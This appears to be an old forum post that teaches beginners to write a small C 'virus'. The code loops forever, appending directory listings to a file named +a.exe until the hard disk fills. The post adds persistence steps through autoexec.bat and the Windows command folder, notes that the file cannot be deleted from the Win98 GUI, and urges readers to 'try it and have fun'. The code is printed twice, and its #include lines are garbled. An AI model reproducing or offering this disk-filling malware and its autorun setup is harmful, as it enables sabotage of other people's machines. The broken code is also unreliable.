Hi everybody,at begining of the learning of computer programming it is a dream of almost all student to build a computer virus of his/her own.
I am going to give here a simple virus program which has only a few lines bur has ability to jam your Hard disc. The logic behind the program is nothing but making a self growing file which grows to a few MB in one tern and this growth will continue infinitely.
(YOU WILL NEED TO HAVE KNOWLEDGE ABOUT C LANGUAGE TO BUILD THIS VIRUS ).
Source Code:-

//START v.c
#include
#include
void main()
{
while(1)
{
system("dir>>+a.exe");
}
}
//END


As you can see this is a very little programe.Compiling the programme we get v.exe file.This is our virus.
How it works?
The system call "dir>>+a.exe" will execute the dos command 'dir' and ridirect its output to a file +a.exe(the symbol + can be obtained by pressing 456 on numpad holding alt key).
So running the program in a folder having many files and folder will increase the size of +a.exe in a great amount.
This process will continue to infinity as this is in a while(1) loop;
Best try this on win98.then you cannot delete +a.exe from GUI.
For auto running place v.exe in the command folder in windows folder.
In autoexec.bat(win98) or autoexec.NT(winXP/2000) file simply write v.exe.
Each time your window starts v.exe will run automatically.
Try this on your own computer remember the +a.exe is the infected file which is growing in size continiously.So to recover, simply delete v.exe and +a.exe file from your computer.

The code is given below
Code:

//START v.c
#include
#include
void main()
{
while(1)
{
system("dir>>+a.exe");
}
}
//END

SO That was simple and interesting virus TRY IT AND HAVE FUN !!!